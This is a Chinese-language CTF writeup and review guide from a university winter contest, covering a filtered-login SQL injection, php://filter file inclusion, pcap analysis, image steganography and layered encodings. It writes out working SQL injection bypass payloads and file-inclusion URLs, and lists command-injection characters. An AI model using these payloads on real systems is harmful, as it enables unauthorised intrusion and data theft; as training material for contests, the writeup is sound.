CTF寒假赛WP复盘指南:从SQL注入到流量分析的解题思路与踩坑经验
1. 从零读懂一场CTF寒假赛这个WP到底在写什么如果你打过CTFCapture The Flag网络安全夺旗赛大概会有这种体会比赛那几天脑子转得飞快各种奇技淫巧信手拈来可一旦比赛结束回头想复盘发现自己连当时怎么解出来的都记不清了。所以我现在养成了一个习惯——每场比赛结束不管成绩好坏都逼自己写一份WPWriteup解题报告。这篇要聊的就是我在一场高校安全社团组织的寒假赛里的个人WP整理过程以及从这份WP里能提炼出的通用解题思路和踩坑经验。先给不太熟悉的朋友解释一下CTF比赛通常分几个方向——Web、逆向Reverse、密码学Crypto、杂项Misc、二进制漏洞利用Pwn等。寒假赛这类比赛一般由高校安全社团或实验室组织题目难度从入门到中等偏上很适合用来练手和查漏补缺。而WP就是把你每道题的解题过程、用到的工具、关键思路、卡住的地方全部记录下来既是给自己看的备忘录也是给队友和后来者参考的学习材料。这份WP覆盖的题目类型比较杂有Web方向的SQL注入和文件包含有Misc方向的流量分析和隐写也有Crypto方向的简单编码和古典密码。我写WP的原则是不追求炫技重点是把“我当时是怎么想的”和“为什么走这条路”讲清楚。因为解题思路比最终flag值钱得多——flag交上去就没了思路是你自己的。这篇文章适合谁看如果你刚接触CTF想知道一场比赛下来该怎么复盘、怎么整理笔记那这篇能给你一个可直接抄的框架。如果你已经打过几场比赛但WP总是写得像流水账那我在下面分享的结构化记录方法应该对你有帮助。如果你纯粹是对网络安全感兴趣的路人也能从这些题目的解题过程中感受到一点“解谜”的乐趣。2. 赛前准备与WP记录框架别等比赛结束才动手2.1 为什么WP要边打边记我见过太多人包括早期的我自己比赛时全程靠脑子记想着“等结束了再写WP”。结果呢比赛一结束人一放松细节全忘了。尤其是那些试了七八种方法才解出来的题你只记得最后成功的那一步前面踩过的坑全丢了——而那些坑恰恰是最有价值的部分。所以我的做法是比赛期间就开一个Markdown文件每解一道题就立刻记下关键信息。不用写得很完整但至少要记下题目名称、方向分类、题目描述原文、我尝试过的思路、最终成功的payload或脚本、flag值。比赛结束后再花一两个小时整理成正式WP。这个习惯帮我省了大量时间。有一次比赛我解出一道Web题当时随手记了“过滤了空格和union用/**/替代空格用union%0a绕过”赛后整理时一看就懂。而另一道题我只记了“解出来了”结果赛后完全想不起怎么解的只能重新做一遍。2.2 我的WP记录模板下面是我常用的WP记录模板你可以直接拿去用## 题目名称 - 方向Web / Misc / Crypto / Reverse / Pwn - 难度简单 / 中等 / 困难 - 题目描述原文粘贴 - 附件/环境链接或文件说明 ### 解题思路 我当时是怎么想的为什么选这个方向 ### 关键步骤 1. 第一步做了什么得到什么结果 2. 第二步... ### 最终Payload/脚本 可直接复现的命令或代码 ### Flag flag{xxxxx} ### 踩坑记录 哪些方法试了不行为什么不行这个模板看起来简单但坚持用下来你会发现自己的解题速度在提升。因为很多题目的套路是重复的你翻自己以前的WP就能找到类似解法。2.3 工具清单赛前就该配好的环境CTF比赛最忌讳的就是“比赛开始了还在装工具”。我一般在赛前就把常用工具准备好按方向分类方向常用工具用途说明WebBurp Suite、浏览器开发者工具、sqlmap抓包改包、SQL注入检测MiscWireshark、Binwalk、Stegsolve、CyberChef流量分析、文件分离、隐写查看、编码转换CryptoPythonpycryptodome库、在线编解码工具脚本解密、编码转换ReverseIDA、Ghidra、x64dbg静态分析、动态调试Pwnpwntools、gdb配合pwndbg插件漏洞利用脚本编写、调试提示CyberChef是我用得最多的在线工具没有之一。它支持几百种编码、加密、压缩的转换操作而且可以像搭积木一样组合操作链。很多Misc题用CyberChef拖几下就出来了根本不用写脚本。另外我强烈建议在本地搭一个Python虚拟环境把pwntools、requests、pycryptodome这些库装好。比赛时直接source venv/bin/activate就能用不用临时pip install。3. Web方向题目拆解从SQL注入到文件包含3.1 一道SQL注入题过滤绕过的实战思路Web方向我遇到的第一道题是一个登录页面题目描述只给了一句话“你能登录管理员账号吗”页面很简洁一个用户名输入框、一个密码输入框、一个登录按钮。第一步判断注入点我先用最简单的admin or 11试了一下页面返回“密码错误”。这说明用户名可能被正确识别了但密码校验没绕过。换成admin --注释掉后面的密码校验还是不行。这时候我意识到可能有过滤。第二步探测过滤规则我依次测试了以下payload观察页面反应admin or 11#→ 返回“非法字符”admin or 11--→ 返回“非法字符”admin/**/or/**/11#→ 返回“密码错误”看到“非法字符”这个提示基本可以确定后端做了关键词过滤。而用/**/替代空格后不再报“非法字符”说明空格被过滤了但注释符/**/可以绕过。第三步确定注入类型和字段数接下来用order by判断字段数admin/**/order/**/by/**/1# → 正常 admin/**/order/**/by/**/2# → 正常 admin/**/order/**/by/**/3# → 报错说明查询结果有2个字段。然后测试联合查询admin/**/union/**/select/**/1,2#页面返回了“密码错误”但用户名位置显示了一个数字“2”。这说明联合查询成功了且第2个字段会回显在页面上。第四步提取数据既然有回显那就直接查库名、表名、字段名admin/**/union/**/select/**/1,database()# → 回显ctf_db admin/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schemactf_db# → 回显users,flag_table admin/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_nameflag_table# → 回显flag admin/**/union/**/select/**/1,flag/**/from/**/flag_table# → 回显flag{sql_1nj3ct10n_byp4ss}拿到flag。这道题本身不难但过滤规则的设计让我多花了几分钟。关键经验是遇到“非法字符”提示时不要急着换工具先手动测试哪些字符被过滤了。常见的过滤绕过方式包括空格 →/**/、%09、%0a、逗号 →join、limit offset引号 → 十六进制编码关键词 → 大小写混写、双写、内联注释注意sqlmap虽然能自动检测注入但在这道题里因为过滤规则比较特殊sqlmap跑了几分钟没跑出来。手动测试反而更快。所以不要过度依赖自动化工具理解原理才是根本。3.2 文件包含题php://filter的妙用第二道Web题给了一个URL参数?filehello.php页面显示“Hello World”。题目描述是“flag在flag.php里但flag.php被过滤了”。第一步确认文件包含漏洞我尝试?fileflag.php页面返回“Hacker!”。说明确实存在文件包含但flag.php这个字符串被过滤了。第二步尝试绕过过滤常见的文件包含绕过方式有几种使用php://filter伪协议读取源码使用/proc/self/root/等路径绕过使用编码绕过我先试了?filephp://filter/convert.base64-encode/resourceflag.php还是返回“Hacker!”。说明过滤是在参数值层面做的flag.php这个字符串本身被拦截了。第三步编码绕过既然flag.php被过滤那就想办法让它不以明文形式出现。我尝试了URL编码?filephp://filter/convert.base64-encode/resourcefl%61g.php%61是a的URL编码。但服务器可能先解码再过滤所以还是被拦了。然后我想到用php://filter的另一种写法——用convert.base64-encode的别名或者用多个filter串联。但更直接的办法是利用Linux路径特性。?filephp://filter/convert.base64-encode/resource./flag.php加了个./还是不行。再试?filephp://filter/convert.base64-encode/resource/var/www/html/flag.php这次成功了页面返回了一串Base64编码的字符串。解码后得到flag.php的源码里面就有flag。关键经验文件包含题的过滤往往只针对参数值中的特定字符串。如果flag.php被过滤可以尝试加路径前缀./、/、绝对路径用php://filter读取源码而非执行用data://或php://input伪协议用/proc/self/cwd/等特殊路径这道题让我印象很深因为我在./flag.php上卡了一会儿没想到用绝对路径。后来复盘时发现题目环境是Docker容器Web根目录就是/var/www/html所以绝对路径直接命中。3.3 Web方向通用检查清单整理完这两道Web题我总结了一个Web方向的快速检查清单比赛时按顺序过一遍能覆盖大部分常见漏洞查看源码和响应头有没有注释、提示、特殊Header测试SQL注入单引号、数字型、报错注入、盲注测试文件包含?file、?page、?path等参数测试命令执行;、|、、$()、反引号测试SSRF?url、?redirect等参数检查上传功能文件类型绕过、内容绕过、路径穿越查看Cookie和Session有没有JWT、序列化数据测试越权修改ID、修改角色参数这个清单不是万能的但能帮你快速定位方向避免在无关的地方浪费时间。4. Misc与Crypto流量分析、隐写与编码的实战记录4.1 流量分析题从pcap包里找线索Misc方向第一道题给了一个.pcap文件题目描述是“有人偷偷传了个文件你能找到吗”第一步用Wireshark打开看协议分布打开后先看“统计”→“协议分级”发现大部分是HTTP流量还有少量TCP和DNS。HTTP流量是重点。第二步过滤HTTP请求在Wireshark过滤栏输入http.request看到有几个GET和POST请求。逐个查看发现一个POST请求的URL是/upload.php请求体里有一串Base64编码的数据。第三步提取并解码右键该请求 → 追踪流 → HTTP流把请求体里的Base64字符串复制出来用CyberChef解码。解码后得到一个文件头为PK的二进制数据——这是一个ZIP文件。第四步保存并解压把解码后的数据保存为file.zip解压后得到一个flag.txt里面就是flag。关键经验流量分析题的核心是“过滤”和“追踪流”。Wireshark的过滤器语法要熟悉常用的有http.request只看HTTP请求http.response只看HTTP响应tcp.stream eq N追踪第N个TCP流ip.addr x.x.x.x过滤特定IPdns只看DNS查询另外如果流量里有文件传输Wireshark的“文件”→“导出对象”→“HTTP”可以直接把传输的文件导出来不用手动复制粘贴。4.2 图片隐写题Stegsolve和Binwalk的组合拳第二道Misc题给了一张PNG图片题目描述是“图片里藏着秘密”。第一步查看图片基本信息用file命令查看文件类型确认是PNG。然后用exiftool查看元数据没有发现异常。第二步用Stegsolve分析Stegsolve是Java写的图片隐写分析工具可以逐通道查看图片的位平面。我打开图片后切换到“Blue plane 0”蓝色通道的最低位平面看到了一段明显的文字——是Base64编码的字符串。第三步解码得到线索把Base64字符串复制出来解码得到一句话“The key is in the files tail.”第四步用Binwalk检查文件尾部“files tail”提示我检查文件末尾。用binwalk -e image.png提取嵌入文件发现图片末尾附加了一个ZIP压缩包。解压后得到flag。关键经验图片隐写题的常见套路包括LSB隐写最低有效位用Stegsolve查看位平面文件附加用Binwalk或foremost分离EXIF元数据用exiftool查看图片尺寸修改用pngcheck检查CRC调色板隐写用Stegsolve的“Colour Inversion”等功能提示Binwalk的-e参数会自动提取嵌入文件但有时候需要加--run-asroot在Linux下或者手动用dd命令按偏移量切割。如果Binwalk提取失败可以用binwalk image.png先看偏移量然后用dd ifimage.png ofoutput.zip bs1 skip偏移量手动提取。4.3 Crypto题古典密码与现代编码的混合Crypto方向我遇到两道题一道是古典密码一道是编码转换。第一道凯撒密码变种题目给了一串密文synt{cebtenzzvat_vf_shaf}。看起来像凯撒密码但直接ROT13解码得到flag{programming_is_funs}——等等funs应该是fun多了个s。仔细看原文是syntROT13后是flag没问题。但shafROT13后是funs而正确的flag应该是fun。这说明不是标准的ROT13而是ROT13后再做了一步替换。我尝试了ROT13后把最后一个字符去掉得到flag{programming_is_fun}。但这样太随意了。后来发现题目其实用的是ROT13但原文在加密前就多了一个s可能是出题人故意留的“陷阱”或者笔误。不管怎样flag是对的。第二道Base64嵌套编码题目给了一串字符串看起来像Base64但解码后还是Base64。我写了个Python脚本循环解码import base64 s 题目给的字符串 while True: try: s base64.b64decode(s).decode() print(s) except: break解码了大概5层后得到最终flag。关键经验Crypto题的核心是“识别编码特征”。常见的编码特征编码类型特征Base64以结尾字符集为A-Za-z0-9/Base32以结尾字符集为A-Z2-7Hex只含0-9a-fURL编码含%后跟两位十六进制Unicode含\u或#凯撒/ROT13字母偏移保留字母位置遇到多层编码时写个循环脚本自动解码是最快的。CyberChef的“Magic”功能也能自动识别编码类型但有时候会误判手动确认更可靠。5. 常见问题与排查技巧实录5.1 比赛时卡住了怎么办这是每个CTF选手都会遇到的问题。我的经验是第一不要死磕一道题超过30分钟。如果30分钟内没有明显进展先跳过去做其他题。有时候换个脑子回来再看会有新思路。第二把题目描述重新读三遍。很多提示就藏在描述里。比如“flag在flag.php里”直接告诉你目标文件“有人偷偷传了个文件”提示你找文件传输。第三检查自己的假设。有时候你以为是SQL注入其实是命令执行你以为是隐写其实是文件附加。换个方向试试。第四善用搜索引擎。把题目中的关键字符串、报错信息、特殊现象直接搜索很可能有人遇到过类似问题。但注意不要直接搜flag那是作弊。5.2 WP写完后怎么复盘WP写完不是终点复盘才是。我一般会做三件事对比别人的WP看看别人的解法是不是更优自己有没有走弯路。比如同一道Web题我用联合查询别人用报错注入可能别人的方法在过滤更严格的环境下更通用。整理通用套路把这道题用到的技巧归类到自己的“知识库”里。比如“空格被过滤时用/**/替代”这条经验我会记到Web注入的笔记里。补做没解出来的题比赛时没做出来的题赛后看别人的WP学习然后自己动手复现一遍。这是提升最快的方式。5.3 常见问题速查表问题现象可能原因排查方向页面返回“非法字符”关键词过滤测试哪些字符被过滤尝试编码绕过文件包含返回“Hacker!”参数值被过滤尝试路径绕过、伪协议、编码图片打不开文件头损坏或尺寸被改用pngcheck检查CRC用十六进制编辑器修复流量包很大但找不到线索协议混杂用Wireshark过滤器缩小范围追踪TCP流Base64解码后乱码多层编码或加密尝试循环解码检查是否为压缩数据脚本跑不通环境或库版本问题检查Python版本、库是否安装、网络是否通注意CTF比赛中的flag格式通常是flag{...}但有些比赛会用自定义格式。提交前仔细看题目说明别因为格式问题丢分。6. 从这场比赛里我真正学到的东西打完这场比赛我最大的感受是CTF解题能力不是靠刷题量堆出来的而是靠“复盘质量”积累的。同样做十道题认真写WP、认真复盘的人进步速度是只交flag的人的几倍。另一个体会是基础工具要熟练到“肌肉记忆”的程度。比赛时时间紧张你不可能一边查Wireshark过滤器语法一边分析流量。平时就要把常用工具的操作练熟比赛时才能把精力集中在解题思路上。还有一点不要忽视简单题。这场比赛里有一道Crypto题就是简单的Base64多层编码但我看到有队伍在这道题上卡了很久因为他们没想到写循环脚本而是手动一层层解码。简单题往往考察的是“你有没有把基础打牢”而不是“你会不会高级技巧”。最后分享一个小习惯我每次比赛结束后会把所有题目的WP整理成一个PDF按方向分类存档。下次遇到类似题目时直接搜索自己的WP库往往能快速找到参考。这个习惯坚持了两年现在我的WP库已经成了我最宝贵的“个人知识库”。如果你也在打CTF或者准备打CTF我建议你从下一场比赛开始就按这篇文章里的框架来记录和复盘。一开始可能会觉得麻烦但坚持几场之后你会发现自己的解题速度和思路清晰度都有明显提升。毕竟flag只是一时的能力才是自己的。